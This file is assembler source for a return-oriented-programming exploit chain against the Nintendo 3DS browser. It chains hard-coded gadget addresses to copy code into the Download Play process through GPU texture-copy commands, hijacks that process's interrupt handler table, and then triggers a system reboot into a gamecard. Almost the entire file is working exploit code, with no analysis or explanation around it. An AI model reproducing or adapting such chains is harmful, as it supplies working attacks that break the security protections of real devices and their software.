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;This goes at 0x12000 in the launcher.dat
.nds
.create "spider_rop_4x.bin",0x0
;define constants
DLPLAY_CODE_LOC_VA equ 0x00192800
DLPLAY_CODE_LOC equ (DLPLAY_CODE_LOC_VA-0x00100000+0x03F50000+0x14000000-0x4000)
DLPLAY_HOOK_LOC equ (0x1A3500-0x00100000+0x03F50000+0x14000000-0x4000)
DLPLAY_NSSHANDLE_LOC_VA equ 0x001A5200
SPIDER_GSPHEAPBUF equ 0x18410000
SPIDER_ROP_LOC equ 0x08F01000
spiderRop:
;copy code to dlplay
;copy patch
.word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
.word SPIDER_GSPHEAPBUF ; r0 (dst)
.word SPIDER_ROP_LOC+dlplayCode ; r1 (src)
.word dlplayCode_end-dlplayCode ; r2 (size)
.word 0xDEADC0DE ; r3 (garbage)
.word 0xDEADC0DE ; r4 (garbage)
.word 0x0029BF64 ; memcpy (ends in LDMFD SP!, {R4-R10,LR})
.word 0xDEADC0DE ; r4 (garbage)
.word 0xDEADC0DE ; r5 (garbage)
.word 0xDEADC0DE ; r6 (garbage)
.word 0xDEADC0DE ; r7 (garbage)
.word 0xDEADC0DE ; r8 (garbage)
.word 0xDEADC0DE ; r9 (garbage)
.word 0xDEADC0DE ; r10 (garbage)
;flush data cache
.word 0x0029C170 ; pop {r0, r1, r2, r3, r4, pc}
.word 0x003B643C ; r0 (handle ptr)
.word 0xFFFF8001 ; r1 (kprocess handle)
.word SPIDER_GSPHEAPBUF ; r2 (address)
.word 0x00000200 ; r3 (size)
.word 0xDEADC0DE ; r4 (garbage)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x00344C2C ; GSPGPU_FlushDataCache
;send GX command
.word 0x002AD574 ; pop {r0, pc}
.word 0x003F54E8+0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
.word 0x00269758 ; pop {r1, pc}
.word SPIDER_ROP_LOC+gxCommand ; r1 (cmd addr)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x002CF3EC ; nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
;sleep for a bit
.word 0x002AD574 ; pop {r0, pc}
.word 500000000 ; r0 (half second)
.word 0x00269758 ; pop {r1, pc}
.word 0x00000000 ; r1 (nothing)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x002A513C ; svc 0xa | bx lr
;copy gsp interrupt handler table to linear heap
;flush data cache
.word 0x0029C170 ; pop {r0, r1, r2, r3, r4, pc}
.word 0x003B643C ; r0 (handle ptr)
.word 0xFFFF8001 ; r1 (kprocess handle)
.word SPIDER_GSPHEAPBUF ; r2 (address)
.word 0x00000200 ; r3 (size)
.word 0xDEADC0DE ; r4 (garbage)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x00344C2C ; GSPGPU_FlushDataCache
;send GX command
.word 0x002AD574 ; pop {r0, pc}
.word 0x003F54E8+0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
.word 0x00269758 ; pop {r1, pc}
.word SPIDER_ROP_LOC+gxCommand2 ; r1 (cmd addr)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x002CF3EC ; nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
;sleep for a bit
.word 0x002AD574 ; pop {r0, pc}
.word 500000000 ; r0 (half second)
.word 0x00269758 ; pop {r1, pc}
.word 0x00000000 ; r1 (nothing)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x002A513C ; svc 0xa | bx lr
;copy gsp interrupt handler table back to dlplay after patching it
;patch table
.word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
.word SPIDER_GSPHEAPBUF+0x90 ; r0 (dst)
.word SPIDER_ROP_LOC+dlplayHook ; r1 (src)
.word dlplayHook_end-dlplayHook ; r2 (size)
.word 0xDEADC0DE ; r3 (garbage)
.word 0xDEADC0DE ; r4 (garbage)
.word 0x0029BF64 ; memcpy (ends in LDMFD SP!, {R4-R10,LR})
.word 0xDEADC0DE ; r4 (garbage)
.word 0xDEADC0DE ; r5 (garbage)
.word 0xDEADC0DE ; r6 (garbage)
.word 0xDEADC0DE ; r7 (garbage)
.word 0xDEADC0DE ; r8 (garbage)
.word 0xDEADC0DE ; r9 (garbage)
.word 0xDEADC0DE ; r10 (garbage)
;flush data cache
.word 0x0029C170 ; pop {r0, r1, r2, r3, r4, pc}
.word 0x003B643C ; r0 (handle ptr)
.word 0xFFFF8001 ; r1 (kprocess handle)
.word SPIDER_GSPHEAPBUF ; r2 (address)
.word 0x00000200 ; r3 (size)
.word 0xDEADC0DE ; r4 (garbage)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x00344C2C ; GSPGPU_FlushDataCache
;send GX command
.word 0x002AD574 ; pop {r0, pc}
.word 0x003F54E8+0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
.word 0x00269758 ; pop {r1, pc}
.word SPIDER_ROP_LOC+gxCommand3 ; r1 (cmd addr)
.word 0x002D6A34 ; pop {lr, pc}
.word 0x0010DB6C ; lr (pop {pc})
.word 0x002CF3EC ; nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
;trigger spider crash to return to menu
.word 0xFFFFFFFF
; copy code stub to end of dlplay .text
.align 0x4
gxCommand:
.word 0x00000004 ;command header (SetTextureCopy)
.word SPIDER_GSPHEAPBUF ;source address
.word DLPLAY_CODE_LOC ;destination address
.word 0x200 ;size
.word 0xFFFFFFFF ; dim in
.word 0xFFFFFFFF ; dim out
.word 0x00000008 ; flags
.word 0x00000000 ; unused
; copy gsp interrupt handler ptr table to spider linear heap
.align 0x4
gxCommand2:
.word 0x00000004 ;command header (SetTextureCopy)
.word DLPLAY_HOOK_LOC ;source address
.word SPIDER_GSPHEAPBUF ;destination address
.word 0x200 ;size
.word 0xFFFFFFFF ; dim in
.word 0xFFFFFFFF ; dim out
.word 0x00000008 ; flags
.word 0x00000000 ; unused
; copy gsp interrupt handler ptr table back to dplay for spider linear heap
.align 0x4
gxCommand3:
.word 0x00000004 ;command header (SetTextureCopy)
.word SPIDER_GSPHEAPBUF ;source address
.word DLPLAY_HOOK_LOC ;destination address
.word 0x200 ;size
.word 0xFFFFFFFF ; dim in
.word 0xFFFFFFFF ; dim out
.word 0x00000008 ; flags
.word 0x00000000 ; unused
.align 0x4
dlplayCode:
ldr r0, =DLPLAY_NSSHANDLE_LOC_VA ; ns:s handle location
ldr r0, [r0]
mrc p15, 0, r1, c13, c0, 3
add r1, 0x80
ldr r2, =0x00100180 ; NSS:RebootSystem
str r2, [r1], #4
ldr r2, =0x00000001 ; flag
str r2, [r1], #4
ldr r2, =0x00000000 ; lower word PID (0 for gamecard)
str r2, [r1], #4
ldr r2, =0x00000000 ; upper word PID
str r2, [r1], #4
ldr r2, =0x00000002 ; mediatype (2 for gamecard)
str r2, [r1], #4
ldr r2, =0x00000000 ; reserved
str r2, [r1], #4
ldr r2, =0x00000000 ; flag
str r2, [r1], #4
.word 0xef000032 ; svc 0x32 (sendsyncrequest)
;sleep forever and ever...
ldr r0, =0xFFFFFFFF
ldr r1, =0x0FFFFFFF
.word 0xef00000a ; svc 0xa (sleep)
.pool
dlplayCode_end:
.align 0x4
dlplayHook:
.word DLPLAY_CODE_LOC_VA, DLPLAY_CODE_LOC_VA, DLPLAY_CODE_LOC_VA, DLPLAY_CODE_LOC_VA
.word DLPLAY_CODE_LOC_VA, DLPLAY_CODE_LOC_VA
dlplayHook_end:
.Close